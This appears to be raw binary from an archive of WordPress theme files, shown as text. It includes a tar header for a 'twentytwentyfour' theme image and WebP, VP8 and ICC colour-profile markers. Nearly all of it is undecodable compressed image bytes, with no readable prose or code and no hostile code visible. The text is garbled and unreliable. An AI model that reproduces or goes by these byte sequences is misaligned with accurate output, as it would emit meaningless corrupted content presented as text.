*PNѯ`7)4EjelI7JיdҌ/f)|O?9ZWôR%QMD#i]t9%HW6u֝b,8Z^b1×(2Gkn8@k (&U[(1 (iA#$ji%PWʶLDх }5h5Hn"yG2?緐,</P] P4o wv_,FC?T mEWJ40'(M37k41TPnn: SdLh(YO+! $|ZeA%^J /[ѐ=f?7y[I K޼c5ы0W:-P&{EhԔ&He\'X^LaDPS|eբy܎pwNP@wԁDt;}woE&k`^"$rz &Im(2GU;Ѱy*~ mr$ +`%sR myR:.THzpՁyOPO?QX,dTs|$sjLg+] ˎŅ4cT%<#M8 +@t+E0l@!b@b C|Ӿa"n 'ehDE TׇA %qycG4=շ$=Q[Nyubt,w1mpiBS34|rm rd/ ٪Jh%ؠHpQLoWY)J*%6R02F%<ϰ"6dC}x"cBCy3@l>{up;r a@*g+ aa4ڋȼjQaa핔)4lpbYή0v\% ?mVh3StmYH>7RSKEW8x{,{l* 2R*${Zv(bY!% /^0t2T@KsL0̷tq˩f(>Y*Ϣ0C#-wF|EƎ< }~EE8#?BVF!Ѓ^D(as{ S.MȤkNj!Svek PCߎ>}̹#ʰJKf^rO7E<k$5T4(}˅Dכ6I:SDy /t\]ϳ{>Mж@hi rTn^8CsyXO,y= δB sP wrӍQi44J RTD*>9r=Xg\e;u<,^}`YhJ{L~1 :b{n'+?Xd;jocs$_Hmf`F=@D@H(MT4* ~Oh7Z* qL2-J(܊dU{I7{SRa9w2I@m)d~4 ]&iuJs.Α۹qN9SX^'#TҋyBUv9 qn D ^K3ˆ $e"_%Xǖy~`חGMk/m]@cu*\ D'/vۋ F+'7^M-~Y(rU]8t?2bto#v>(ȃW(.*b\C]x y}&p ab33"b;YKQ߮{n5"FO鿾FW_#.tqh )zĉvUg :220$HD0z÷RfjUIxI.t kpu,-%-/Tס*s 8d #h)j 0&H4xU⪂QI d>k&-po矫%3w߀N& z i~}y"bmB&ʕ`'FuN2wDOn}pw-~j{, SQ/-P#P6pBOݎfQB*Jw5kg[w'zu=`rin'H3L ݕ,.?n~|1; R c!'q>.4L=GSu~g=g_L()?d @f|҅'d hߍL31Ss*+}ϿE0 @@>mHiOgH@;xG-#\sͽ /+T&z!>Gr/cϴP; A7irl/n_cV];s T կw{dΓڝw*8OId#Ejs'/SN> i9gS2ƛX:b(jjVsRkթh bPݚ>G>eCJij_ã"y=Z®0\1?j8T.kD+;T M6k@U%c7νb[mMU+//{yF#.]Mo1V{]uFGX(Klfr =']}lM""ӑ6rCD3Z4?  m6׷:Mr$螮vA\9|45-G䵴B '`FǸ]FrM4¡B+1;R2ͶӐ)B^ѓpLAk"`/s5izjx%%kʽ"GfD[3}Z@zot]GC4\}vAp we{mϻ.5|}WQ$V +96 9V'M4yAQ䫦x1Fzp_ (TEĒS}L JGgs(ǞN*0wV0WLV;]ra,u73^BD,[ȿIXR"#P%p{whv%8o3X|}u1aə1KszηRx3L΄b[%w;5-EKA-?uK*Y4$5{Ԡe O :o}(qT,nnP ` RuZjuApw8~3z;3VoCсr(c ޴O- 9DoCrK`<0R@6Q'0١f.qSJUc|5,q^+1kt`Hg4#a2AӰ=)>r]ՏLAY}Ebԝr nG?vLe6#s|Ϸ\A-ֈ|hfŇÄ7vP*,AcxTa?(na­}0vנ| @ T|-=aN#g:23,p_ôCC\+ߑ_ZvM/16+'gR1~QEq-xSq Qb"QrD}֙Vޢ3Q5_юSc6 hi4䴐(_ڈ az͌$-w)N:ș:xf TcN4yL6Ѯ$@J|YAuRW |r>MEG@9FᦞeC1w=G=pE[TP?R%7f򭦷:E^'9kgpxN{9rӤ8dht t X+]K~\R%QhK5X鸎o\4Ō" -K*OS;[图e.#8s&֜+1}HZ'Ԭ;09wxn#9R4aȷ6H/_H;z"ҁзwljCu_+qz}N +!GGں;Gh >_I3g)^, ݐO(%njNhnj-f$\" z|nE0Y2gMk՟T)4֌wL:UۇlϋNo^`Pie]/bϕܹsjL$M\ѓE0gtt^%h]4{7#w ZPL?7@@%̠X\Pwwv%t^te'0g6_ ))&ZGpf#ѡ¡G;A15$H#ZN(&'?Tr+x<8= RZyrna dntGN(<'O(rFw),DkX++ŀc:+A 4:RaDo Xd:S8U*:V 2%ߧo%X'60sa#%mdYi:Zkmв<Ͱo.:rL7bzlJ]#דVt0mGj ^2E## }=:˳>yJt6S/&XOB1r>kJ`楝R@ ./k%L(ʺA=Wyw7?gRH jZI)۶y? *i œh±}˞Pl kԵ Q6rd'xJ7~$YQprj#.0z*-jGBwR37)Mt}V`w Qg53ni!AnQy l.6lܠp,q4{߆X"HDDI{HGQnX"T? vN^{RpsK+}_+s|:5iAsWͰǀ'GZKJ#ڂFݣc󴽏%jA߮s*nSxiQ.vE۬یB6P!uWǎ.F+T_WT?Ro6?!Ozǐs1B7YވzcktJ}LK,"6CE09kiʚjɍdHoRKE1<18@k8ϊ%e"M g8Ó g,";}sX4aN MzXy$V_5Za uxS?>h;#)*ffv#,3a>Kt=[}c9*V( S5+:,i/Lq$lLNgM rJQ;'q5Cs`0C=(7 Ah9SﯢUvy҈7;wTBѲnڄ[7K ̯)]+#0{ xG-Uh[:wh_ #I3Yە\?N;2ak5}[Y|ϦO'+~8`kR*u- qXqlů_A<gvMSV/Ƿ]U'cRb2) bߠ'W Um9ٙ RLDHD֧֘P _w|fOza9V/k˓_qS.0p&5t(ÒمzkK@E!o̓ŅV5uo!3U"P5w{{`1HyNoB,_qc coXYBauuhDu[Djtoe[׼&xq-?[0~7ɇ|.9zʸ&w^> %^=ѣ;g\DHx;q R0q7cNWռ+Ga~g"U4i Ҭ6oL^شĠ;uڱ| &$ 'qgmvv Q>x=7 8'15xu0W8!8g}L;L_ԚW]굈z, ^??EB x=%'ͪ5:{l 2ؚMwƞ=%bM;ipr-}N ~NR>~&zx 3Ӷl>{wNzgT΋u8kW|=Ϸx3_ =~- >R3~,N/a^ϙ:bfĹ?--wYQf?2'lL}fvE:D.]ɩģ>I6!vQOgd]cC><':cUR=u&֧< Qk-Ⱦ/O`Na7 \Yl@_OˉЖ^12t`Rlx%Wrj ,~F<[{1胒_]yM7!צǧYƯ7q tNXF枻oh}QiULo\wθs} ϝ1MME(X%l1Tc|YԮוU 5UVbFںcҕ=v_9R. ;]kפy7ګ 8ʌF y.)/=VpkWd#èͭ 5xQZ V滳3Qk&IB ʋpIy /^flׅI| z!*<]iC7/pIKF"XT%y̜L?LmJiZP9/K*j?gdI:Y)"T[2NӬ*F$ZE&5S]9ktO8c7Y TYK=,5!AȦEk@I %־)i^|NTp"}KSQR'$OZiq(]#7%.6=ZomQaĻ)#zslb;4J-jaܪ%\v)%39 r(OŶHHñǻ:/Til] ^V<)A:T\f.h.%wpA)5Obwy2c:e :#aݭzɗJ)Epd~:oK`M:~"c'?V#:LPZE@gy;?~k > # ^:dZsF>8wfXdx@(C[De|B*y4[QVrhqAdW^M@B IzNL/ G*زr"Eq?|sL97 %*hNš9[6İM CW aKꭇHYXe{ i ZvdyTDR;XcJJP&څ:v_TmkW0II?ҐZ|L\.2cd?umg0gbZ6{3`g{-܆ܱ/P |.YerzJZq{nOdzCUXy$HNutVG7Wq- ! p 444VK 9] h_2SAYr`^|6X"R lm]EL>"ABoм}aU =W-K=G!|Cnlr7HuViEa gJHNF-gZ(HY24ԡo $mvhPc[zw5"")5F#Ui7]AKV}AɶN]B}|Ib-iiDTtVF+hMZTC FGנH5s@iG W-(3L[(_<^IdishݟYW=5K*l;Aw"P9n׿o]uLu3!r BM$ەZcI)3~t Ex2 уX|n]?ȳ9DE&R'}`JV66 Ъќ[=r~r\}A0XZSA}ϗˆYj1~-4Ukڹa6e³2Z^gj4Wrh8ou8 }893{+s3~=z4{7w6.{ao9cxz4(CYv%zjj *+DY;06>kr|7k nbt>홬TN̟Rk4oԮx긦YQ@Nkj9hrTXoAhj'3?\?ЖC}l|KA'0WjiŻSp{O5t}ut/x<7ޏ&ڤx"S▦ b->*ZT=J([촮eHPgbUβ[ޗ'riST*x4°5 ܪ9v^d+j;H`zVTٵT+6J_'+\_/o޼2IEJ':/ ]KG~>:- |ڳianϔ%⽂GR +PMI_H$Q=-Zi~3p?JM7IX(|Vqo_2]xp~pNUul\*uԁͩfu5LksiΚK2#-v\6?pLѬPl Ot5 O0.pAj^-ގMAxD~,0&T_+[9lt($Ily{,EznNwDeVV%DY{?m֨XKdҍ,)AKJ4~2vD&j4ꭤ4YU뀕x nJč 慷yO"yyce*vMͲRs<[~lhaaN>) hl 2UUEu>rftdCiŞGu,aOI?ft N3j|JT11 Oׅ &%kGGf] 4OE0f?cPW󢠾 ޘj o5Ze)lK錗-Ӧ^"ަ@B?sJxH.uI@y;0,r'7(uB/L!cOQ[3cnm |CKjoc:R"rEA˄-Q, h3C7T(L $P_+k[ PkK^ձr7hƻw*(7./AoqAOp N+i)JNJQq# ;HIw5JC)y<ܵY\$i:C6”^iKIo;e34h}sBgQ[vzjK=&InJT6^{Ŷ!IfH/ixυrWvW1 `SR 2G 3x͸X"`89۝Cô0cdﳥp /u/~'^#"*[ T*cjZrRyNʭJlmn zm}jj&QgKzU՛hI[7Ưs3M숰#5X e㼠nuNv F=uK͡+$GO~wGK #,c>%96RQ;wu_Truns-}ScE-tҫyNE1{%i,ч@:h=K;^O= l.`oc9m=K"$.GH8vVp廨F?YSM `,`` \3мS( 2 ~ [f;LqA4-Ԡ!gj{(V`>EFm\i'wY# 5',p?)7U˲zƠ7,'/0%XN7"w_L1+ЫUAQŸ ^s ._yG<=(!}7Cjܲ}|iNdNlL-V?G;R0?P&?s*Cp3ܡ&YfL\{E_QfQo"D`lwcZQ (=+zaŗxdixw0d >E=.ؑY[Oi^-:䐧jkQyJRjP=Kxk,ՠ\2;P֕7eGh\- 4.8;^] 6Zilcf]a~ȷ1(M_K#7iY(]_ʂ/0μh6>%M08gi>g C‰Qszg "j!Np2vCix~~l'garaf<`|u"0EAf[M5FQh"c Jl[SYB>k/}8qD5o .ALo<Q!i)8.QTKܓ 9S V:ת;>"S-UAv.왅MFñĽ\ݪèiVcz:T4 CfvO͞ y>~`REM D#b_ܶZY͛JHʍ{ ЬjLUcyh,RX/V<8"( D=JK["b"@eYBL-|CK_qiG(/A%V@:&gdB$]ǬhҊA Q}AhtAQNM瀘Y y~xzo q- ŬhtX' х$/5WFp +VSU\$)k/Y)vjSE]LYWHJTyҀmgDtDɽZ!rT "gT*ZKy +8TMwu&W'*6 ۈ[>\IX~@[dıÔ}1zУH|h'm^8; ܶ4"SciW4n='c9fxl!4|$!dh,]p+&KccPt2)v]nY!.nSӯ(|׏FD=ToG- MxmT}G؝8Bԫ5ǿe'H4XKᯎqgzgRI;?,rg,5 EW hVd/u';SFCu>|[E_`Nʿ|],|1),t&t16 xyGo\;[0[xq"1ϵ $R˃+/3'Sif~,HeM~>'/YlW#btBQDS4z J;Q IW{(`|dmksE7RKޝEmOl3m`I|ĭm5TFitc_[-Vx۾:j%DBޚ'ɤ,b< >R3,&8y½??ydVwb 8x@[!r?&D-jxk}OtquU7/N[uC=jOT'h>˙oXu(iLyMo`:gqh"(pv"^aBĖ|2D;aDB "eR ?-Qt"6( W^eIhFj ?J~枑gUw-.[󮬕s WV)&Y6^8$"7TPBHA51XÔd<D=1=ʿaJ^_=xahK;g틛!vEh$qJ.Z?"13X*4bRޮ2{х<~y'iFͷyOHKO"١+6U؀V8mW)ݫ AA[9[:Kξ">TNS桏; ڒBkR1W RRS = )5w[,msp٫ XGbe܌{ a_ob<-i_x8&2h1Rvn“~(1ꥌ'[clX-;Bַ4d&k'y7DHZCn m5 )#?wKOt ?U =n}{:T=pq:ntFj߰8wF2uxh/K2cgșyqoẌmT^3"ǂsf.`V:Nt ( "jEKJ \ĤID-P:zkhBCVO) p9e|%-i$5?^ۮq]_6K]Wnϴuin<-W l%<8P'u~&0P^pc[Oz!d #]P@/3ߤRm֑vm؆t-D˃o_YՁ,LF?fDJ5S3%Z;e1 'W}La3}sl/-0P7mlG|pڧs.@3!Q%Ҩ $vgF!ɠr냆[B׶DhqCDFL iuh4[O4[Iԑ_8[hlyVIO_'w j4TM*hl> τ >ӢZ(*;b{lIi4zԒXa ۥ6 nsFɅ+no!vt?TWcR{u1M;k)%śd+%%ʮ )~(6ź/$Y?m/im+CJ~KSUwl'7/(*&.!)%-#+'Vo4W0[JXթ%ڀ~<4CrO }Tw!_?(HTEMò?cv5wt"W)[XÒCPq8G G4:bs<)K2BRk:_^NېGmv( SCmlFUW 'Id Fg0Yl׸BQQKyWPNo0 C08Bc8 !A1 )j;.`pv?On-QU ,[EqfyQoVqPi^VI-8!A1 )a9^%YQ50-q=?8I(i~yYx:_jaZz~FqEYM8!<ʖu~ Qz"f@( GZ F#8xnQY^Uݴ]?ER˺y #($Eox:_ (ɊiَAIEYM8˺@FP 'HfXDIVTM7Lv\(N,/ʪnڮi^n8ΗnQfyQVuv0NτeBS2$@2J3,d9\_ %R\T5Z`4 #($eXmv( @6vN.,O *`./LPNo0 C08Bc8!1)9%5-=#3+;'7/Z ڶ];u59%5-=#3+;'7/4,+ohl #XKk[{G3YȋXVui℃&)fxx50-q=?8I(i~'&q!ռ~B0b8ARfʰ/nQY^Uݴ]?Ӽ`phxAdEtôl $ae|ʊiَ@0,/ʪnڮ P~S󁆦-J*YkaZz~FqfyQVuv0N"L(ByY8/`pv?O˕a9^%YQ50-q=?8I(i~yY7I (ɊiَAIEYM8˺rU Ӳ0,/ʪnڮ P~S"mZ.kaZz~FqfyQVuv0N"L(ByY8/`pv?O˕a9^%YQ50-q=?8I(i~yY7I (ɊiَAIEYM8˺rU Ӳ0,/ʪnڮ P~SizG_IEYM8˺@FP 'HfXDIVTM7Lv\(N,/ʪnڮi^n8ΗnQfyQVuv0Nτeݬf]0D t0L;_Ld}@wL7Lw2>b UMLD1U BYN,^L;fLW *0.:Ƥ9{LF ǘ 22`" l#d^РQ|0FK 2' 'Q K$1`7ƸZh,>RdⶭNjn8sib4fԌ/b}3M g΀ԙ/@ e\0a p>D?C 7p%(x+׷Bic?9 "L(B*mAiM)@ PƅTXDPƅTXכDPƅTXכDPƅTXכDPƅTXכDPƕ6߇?.LQ6XfCq#FsNgtBzXvjʁ DZ7ϨɂX3\iv}+\[%*.2\v6ymlH4%A5d^S H2ςr FO&KF3E0_VA^szTIS ]:Mܓi> vrmyI34|rTs4 c+k&3y|5}鳉Jz;ʸJz{&q!6NMDPƅTX[DPƅTX[Ty N˜PEd x!„2.ƺ „2.ƺ „2.ƺ „2.ƺ „2.ƺ^xA~Poz7 +3l2Lln-ʮ:՛~n Vwl2b`BU %„*m ވ0J Œ z)aBRi"7~x_!_//^~xY\a zKƺ*!fΊdEt,vBُ>;SeEt<|aBRic]oaBTڴ#ʸJzcʸJz*ҦDPƥ@ e\Hu9@ e\HM0 0 J0ˊYLU $0.+fM0㲢jYL(㲢ja{qYQ5ݸ0 #>L Cd6 ɀgǯW$k4锰ADt׽݆#8ޗ*e5+z2UOC*m[`VR)e-NF5P^4( )-yuwFg0#)?ZLyY^G۵V`S QP ig ԏ*\='X <0VVeٕ*!"X=vH.LBg~`.o<~?Fdm=f Imé+|Z?O֠,(N YzzjMMO)e HJZ}ASOw3ᦱ&چ.Ҧ"„2.@T]/7xJM;r%MO؎P2.ƺ :tvd,vƅTڴ{tRi[a/s\;"L(B*m "L(Ҵ#ʸJ۽m7s'ƺи aBRic]oaBRic]o aBRic]oaBRic]oaBRic]oaBYƺ^r&o5gC{{}6ȲLS<!X$ x!SetX˨U/hFn% hJYqyAX@Fd^`^o]IAvXOrRna&6&q!66&q!6\3!WCmmb:.*(Nn=" ;hY У.3"wZB[؃5mQc8aLy.- Qѐ/P"u3m 61usf1ӳ V #l!'PgBޮdtx o+%|sB#Yv+-QUk~@NtBYfH0ˊy6& F1e\(m"LRic]/5%|ҹDD@Q lH k0~bzk.!)"L(B*ml7]oIPƅT „2.7խo^6&q!n e\Hu@ e\Hu=ʸJ9;P_ʸJ "L(B*m"|>M!RicoSt1Dq!wc+yOcxes_=mp W)_&slug5{#زۇz3͆G^,=`U0|9Z[feC3&!С%e5omC2&j1-a+L[JeNӔKoeeek,"9} 朋5@ QVJ%23GĒ?Q5]1Ϙ᷂lcbRCKUjeZ-{D 7LAAA   qqA1 "Q\kUx AR4r p[m6e?b?Xq⴯F7p?.mRAߜ۩"ZgS OB)= Ѷ- n"KW͚ ʸJ7C 4t2;¥Fz3Ub L]e,\Nɦ0EW3G'gg-J n̴щ2 zUi.yS^ݧ W2 k+[M=>P mdcۼ"@FAE 3piqD#oq Տ#]V 6ꙆuLs^!^i:64 EiiPBr+b'c_U?SAn../RC!%=f!lGWM j<)+=pjj-\)A=@ #([b~庇'"HfT 'Ⱦ°]>_0DPƅTXכDPƅTXכDPƅTXכDPƅTX[DPƅ&q!'@ e\Hu!@ e\HFQ<0 w`1c"L(B*m "L(B*m"L(B*m"L(B*mM"L T0a(K D$do;0o lg^a "&!}hſz} b8sBa[Xxx{$ n&wC1 )9!-sL/!(5Duwcdb_g:r٩9D}v7N6kޗ@A]gbGS@,HU 8M7KheBM2r !p௿~zDTlArC\H#NĽNHDFNye` AS=4&fV6UjD$h3̂M 1=?u$U rFeE-AUyQ)8|͏o\LGW(*t>YLk^ٲm bܣA{ߥ; cT?;Ο߷TScKⰞwM?oێ$(qο;ZhҢ :Z+ =n wk*cQgrcjゾYM9FSiَNN $i.У88@wrݶ3ki;vyCSR3] lb$㈉'K!&fPÀ,zqR;6&q!6f&q!U=0 0 0 0 0 Ym"LNpxLz7r+zc%W]'ʔ60 O*j U&9L؅>UF{dG],dt:A3ъS+fyt"+8]͜"TLT,FG$9C6/9HOthemes/twentytwentyfour/assets/images/abstract-geometric-art.webp000064400000304646152335264760021555 0ustar00RIFFWEBPVP8X ICCPlcms@mntrRGB XYZ   5acspAPPL-lcms desc @cprt`6wtptchad,rXYZbXYZgXYZrTRC gTRC bTRC chrm4$dmndX$dmdd|$mluc enUS$GIMP built-in sRGBmluc enUSPublic DomainXYZ -sf32 B%nXYZ o8XYZ $XYZ bparaff Y [chrmT|L&g\mluc enUSGIMPmluc enUSsRGBVP8 ؆ * >1C!"" in cݭϞ +7g}z+}IR&eJY^n\%|or/?,NΧ9wZ}ut^?GQOo?m?}'~oooGyW>~g|}/_o__?d{|~?/Ͽx9ߎ#/>Ju_?wWO?F???7k[xڴWRpQq8|Eu"YFj4?8#_D T93C b@Ϡ5ymƦ>̖?lX(n=8+n լ痔w*mkTu^fXp/ƌyNv{`c0qILy>q!褄FE%dgIH};) N~1f-P[2Vg^% [a 3nܬ8E' XfQ<` *É&0xK}i !Y)%*<B QѮ(#q$q|QHZdf3%[Q쎧%V?+pTǽCuWA;+b0}I6闳e;nЖ@Ub7/.04] Z`DC mbT }.yY=؆DK"tcg3ܮ-jE[caM:? ymY۵ :x0dZTQu!;4(S9bAS1C5:@>*oӮ/UOzc *7@1Jw3!{H6lA[`{[G\_e%'?bdflntK aLWw)|7kzUuoQ&x]B[ xIqE:gS2WxtW4#^)g".~֥tY+$+έh/xGȠe `Ɇg3bV=ڍo1nAÞ!*Ʌ%YY^,Ǜ̋:c r 4OAXōky^zi~ɨĩ@g]Ք0[*.Z̈qK&a]"3Wڦi̷ >jWBQGX79߈i;B!^c(=I<NAk2zTiU.3y:eAr2؏(fp%X4LJ daɄMZ'ϒƖqϨNҳ\\MH_r5RՆt3)eD̾;ԧr]^^yL_>V6myX(#lT0zuBSVi!;+Y R~o'K3q-խҤbрv)81p̒A*=0g$ւ^Mʥv.CJZXrbITxKMMO>T2hQډyMx_:Fa!'ty:5X Ч›xMs.`s[ t<]Y=^ -o>7LއRpcƒ(Ĭ~zڿ8z_WtfduP=)A\gv@:o ,%kqI yhGB! oh%0.'T$k E}&l~ADan,/+s/3 S_J@ oBTe2'Blk9dZ0q^g 3x5)V]horyDB:p_~C.NQQDa@"[+S|ŘEz 32IIPzRtPmz:ʂw{f=jɯ9C=<<7wbH+y6- r S;RxjaMxVJ(- a~eVS"aBH܎afRBE[2z&ZO[[\EUL<+v|1b;7Q8uA( OLs--G*̋mtA'1'+~M`ş$5=RAB=^h4A#;i£{2X=|)ӏp{;zFYLYRI,H {="^ ӈ)m3{y1AD  +6>Lʛm,m|eLn}0Hx¥} ;ѧ90 Aӏ%_pְ\>iĵF>>a3k(sI*5_i"#q"%i@cRwc A5'\6|dTf]N'0GϐOQ"K,a`^ɹsBTx)6V=,[5[ODz}Mx F)&N ,'eTR9IN]PAb(ѩ:cx*وZC5ہ ft%&: 2ֱ7(- X>1}q=K|O6gP1n $6lL(?֬Ux!Wjrk=Q4Ls#Fz5?@#N${B6dFP8_姝hچH# 撚&B nPQ SV?M55vA*!Q̓\'v;jJ8^}bEB ɗ!I@ёl-wwE~`Yo0BNo4: xeoYAtqbBk(<@{ȐO4KQU-!)9g#ٻ \7J+L9!80_z~}5dNHA yƢ6mjUoʧǹkl7uSRa+ \ЍU4vJRB?@j;Z3DN9P gɋp[ΫI_AS l}^xɣ%rZBWQ\Aʬ1L=)O|8Y:%2|KyɹkO_aǼdL.qn ;M1 kF"d{t})PK󋠺 ebQ Z1r-'6[']w|҉TsɻthI:EBܚS0>O^ze/JI[Gs-Nj\Ɲ?cz_fxJE q`h+V~6 pduW5/Jt2[Ci|1zm%BRe o*z@ֻH ~'^/!߫K-FuVH-;er}R'7 MRiZ&_ER~px-kusօöG?}4蘲J坍c X29̀񤓶2Pb'93{i P(30e{hKQ&8FNH-Š~@6)K#1`^jh5=-ɴF+M OL/7b~ގ-^yI]@x@咥jK 4Ɓ;ˤqv?xhb R)}LVڝ$븾-_P+ F0|srB-/-|*p)pa+Fyipt{Q'7/Xق',C7m7W 4f> HVyV6mU)wBO9'h2P3QZ&CZ++ׅH>wkQG~eLjPn?;mNt.ꦆ@:+!@'o= =2QбA)?OI1 ,+fLJOb`B޻4 ߁sfOc (r!2w#y!UTc`xk7v ]k-^Pa7gRGoӦUC`p$&b1xg]ܱMgwD*ZrҐ/&7>Z? ޟZ -/; L Xbaav+y3`i+c` T̶ǩ FVm9y5Ov"5?el =҂s)(N{:K3!LqKWՠd8WΣ|CƟAک?7G2P[idۀy=k]U 9T찼Т& X4AxhtGAT2WߴЍZ'u)BvQd~9SQr:0"o96` 32T.ztq?/iRxTBDn]E]~ѵ4$AnY{ShϻDA9jʘqb\"j~9+$W]HxV[`)m[ B8}>Wk!x7$CG2q4GVk2_R迖cV*!_L%_5N_Wm1h6k~E^)=F |!0rY!Y^aAx@Ix0T*՝* jwyC--o2!9qtd4{̨0hy6E%LxGJ;UI}8Ro~`*`O7zEш'; mdShڙcwކ@#!;ܗ!W9H/{YaO庾魒WY`MC7-}ˁ 8D}:#v $>y'Gs2 ӞE s,(lzmLk`pii)tt!'Xչjً$a yuh7lWkBSIyҘ6ن?>*qBt,&3fU&<, H,rNHQbpt~n" i0<7uG' `[ʙ7gpi-e2|zlf4AbW ~ kdz?_h;cu4 +J A. *Y]un9 *uvJKRbqx鮬>s~0PWiGWbn;Sn O'k y~<y:B`6 Gar5GUIE,/2#~<b2GI\thS ;Dog} K}<[CRDD-&y'@i$=(66#AYZ+F̮dV%6QFs#bU $;ܹGJ,dIS_vMdVGany1ztt*~}_"@Jhwڇ_fOd|+Ԛ~,M.3F"ğ 3G_[ re)2aͦ+ 3̙}Ϛ qc.t8w99Ҁ&{6Tto /L۝FgJ*gH0.S.ByE}dXUK!XWKJzd6Bj7w@r(H,k c. S/ K0BuTAw @1Ȏŏ!^>aQMXM='q[tJQ q"Z4E<|%SS{?SXTظHce!{``e5NK3!1;߅sQAtUO=SC⸕~e:.{~4ĉ]U}E z0œ}x'˨?K~Z!u25 !ֿ<9iɮ*@'ؚ!O 澽WeQ: 'fDNTIHrнD[)_=9;qU!\o0cR?N$k":ts,.@g76Z1gP;V;+q$?f~o=۞uA6 ;\P bP çVබ[B瑢|pǝ5a|UTRC#W_mj99ql$C65F`;4})8XF A#N%^aPY Q z5?Y}0ȫ?`@4%0{=f,3ۊ%~e8~gjN ;ow76)8uDb-E̯efkuˣ/1渹Qf}wDm9syd]/0GƓ|K)dcT:qQ9}`9 c F MEwa60D4\u2}5X-:X񤹆_x{v~Qm K 06  ;Ġ01Ekt"Z뺱D)CP>-v`KP֔`XC"Z@%D{dDp5{3ɔpO@O^ppw3X`t0ХuFhwź&(mW ]G pe O29g >1!d7j``By&uXV q}X4߭Gόlao9{3ѰDZD0#$I yO/D$!;K fĤ.u@~Q]3j4L3N{ tdҭ䚄 űc5OGϺ1;mE0~kĮT KjaɲQڸ wUA"3g{!GՈ<A2tlXpmx[r:a,&ڟFWS:dUC.UXW /"caޙl`Z*Ͼv2r?ly_ A)Y[v>LIezŁ:)R7c]4r 2i옕H_%ԢxmJ}uڜ Dul!QYJ ю Cs{ " ^j(|H;Tw|̱S( <Bx]sew~rD-XS{>юPOPҘk7>Bu ;cgt?ZUPcțmiI3ZDWEHGnJ\MU6 gbnxUl/hgOS`thޠR q"C1-anzݑ&lF1lB׋ hY*ż// fdZ$l5@8c2=j(gMz7O9ro˳HrI !^탽%:@J2xL %k~ ޟ,FL2k(f2Xz/J6aqgwvT#싪T’GlYBc!WkS׭+^8QgaZ ٲxy:t.^#y2_Lw}Jmу.5s.t:%D#:_wK,Fܫ\9#mCĿF#C5}ֵp_pǢ剑˵HGtxN}K)G5٩l1Fo^Ekvkg8 ] aV{ ]l#;<-}^cgyY- XX:(^ `fw=cBy b.QXh0!MD-{`6eO9jC4zl _+^_KX: y0P|o'*GJa4UǤuK0mT $zB" Ŷ3FNHe寅VTiF{bJ[KTIT/hy<@헅\_]-R[ez2kdrTɸ1 aSX2ȩ/bRN'a4˖,q9N¥R@~zKMaSVw={u4kt 8Jid@vlMDe>\ FDm;!JѰ8]<-^ uT,!3sVept2]Ωz5?,\DW1pvJ$+gll)5l`8%O٫,I]/~pL5Q#N4/{Q 6;ԪIqJu/f#Eʎ4t?;k8 -P>tA>BD-4iWjto_Y;c/1'Äc k WqB8Tr ZgV4rcwx0QN.,>ClbF3 S {F&#! 3(ʤ"Z.߳b!c2]\QzEN}Z?Ҕg`dM?qo?A;`%sf <Ƣ]c&&guŌT_a)cT>xh=U~UN=]zTNVjvz>-i>=^yFcoܟ2a,]$i~H@iǡ]-2,ywqteB?~Y67 ϊ)%cZʃv7}}v!C{ry,ՐΞ6b=k_7BUO+18UdwU\gܙ8!50D}+̲y'W1Uqpj'ew׼'ƚ 1(/6T͓^䜍tv :d$IQ^F<|`G0'g mmQO&oh+;Cdhg=^hnEso p*}_ JоF8+ eWL?/s&f`HԈfn?D=!5⌂1z<ȚW+vI^#p@cD,~"HnEA!4f55놞B}6O[C$,T3T 4-L#5yi3 djYX=qOSɟaE,H'a.r-sR(&*k䩶մ_.vw*ERVq[S=)ox_RESu^ `Gg`+sJG(t̤)^j3ijow;p{F30}XMOh}J_XcA"N.J+SvƎx۽s_VB.H DTQѰS\v)Q|3\]4`bMxQn"KV GjlsY$_V/zFe;o J@n& } 7 V^7[#h3hϜɳ~A3x_͘J?fz3(@Qi0BN[#;ձ={ IQvIfDBLYCjĉˠgrΙG?; n9HYKsknrh6(a}>Zqᖬ}(ÇP07!W5߄~r/l 5-)L4\ˢkv޴⮆a ^Q~<䃘O;XtM5Pk[x槍{3 040=nssa0;ig'( Z[b o;).ghMS2@E--]s\~^Ek?4WeȿR= -E9%/FڍEoʶYk5El:ԏjCNG soĭ9E ۀ`0#"oiUe8R غqoS|c.N y4veWz}90ߨapSJIsH1v8hUQbqVm=N~l+|HMjb-_Hjv]`>ZK!v8z\kֱ,,w"LH~ѷu (>mވ 9jKYAf-4MU#P6F^+ '_ʺ^?\uVG5θ_+7eR.9AOg]L-胾. %2댼,0 |stY;-_HVS^z$۰$&X92y-=GlJY {*jƪ;Az$<ƅT\͕?5oy$n\6gD[x= YZDf+h*N?%Q:H{nZ[M"K틎HZ&wʃ=gH \Y:nxGuOpl6Zf=d&?<(," B/m-^3 ųlbxJJAůe(['x$rV:3jl :E`Cf[Ns!vCfg8w#`e1V(W"Ⱦ|^rxӇצS/|-WݠcyyW9/21EKC/RC1DO\nhKxMa'=0{a@UNG?"aa΢8P ^GOFBAu=q@euyjh dvuoGocNjNK,$2 ynWaSuYK;^?.H q( F)=g+$}3dxQ-V|xXCқ1{3<퟈8dS:1c_K0w=`:d Gsa A:LR]_N6}v3 Z];I~bܫ-uP6оSaiv%E~4 ZP󹆿(P@[/Lް&hZE8߰ضePU1ժd Tιws܃?:l1 2o }:9]m@/$[ {ٮX%Dފs0W6>/3) SL/}|AT= Y:Py'Q'+c+2%/5_3;pE E6EN2!QRٽXN) yj9#h)4ꬴ$Nlb^#d \92)ƶJE$v;[;F00]탖"?^L"lGV>Y>;_ !Pr ~Gl[!$+9yR,)Ǭe$CjÆEud16Vl@SHg4G%ޱW Nms@9R>@fV|HjVh#v6BW +}Ddٵv/I nЃ^>CObS+@E<4E%d|A 2bo%cΟI]_|1%;#sk!W,U7Fa고+/:> g?"idd xRIH\"""lFbVJpwn7]Z_]x^:E0<72QĬoE )f~})e QN3>1z?b<,-"2:V-ӾkK+QR;0>(.0:،Ĩ@gخS0Cڂ (©*MmOz1cR0OSӤ6M%n8aRy(wVmEړQ8 bU)yWҫ`)da|{}.W'n)f65ߴsAG|;jG4k!X[]V{{鑓uTvǨH|#[؉›&?b-Dܧs] žjmEq/? F(d6 3k%zZS)8!6b`|舨#GNq†gFhʪ-a9ߦw%upvtg2bg Hcbmv[x?y_.)"gKi,VԿ7b$3rR.>2_~+WBT\'mDjs٦XZTwBUӦ'؎eY@&vʒBu?~L8n[kAg|~A&Q_@9.sTK zf}2 }}K}.MMҺQxNFx2q'  PX㠡 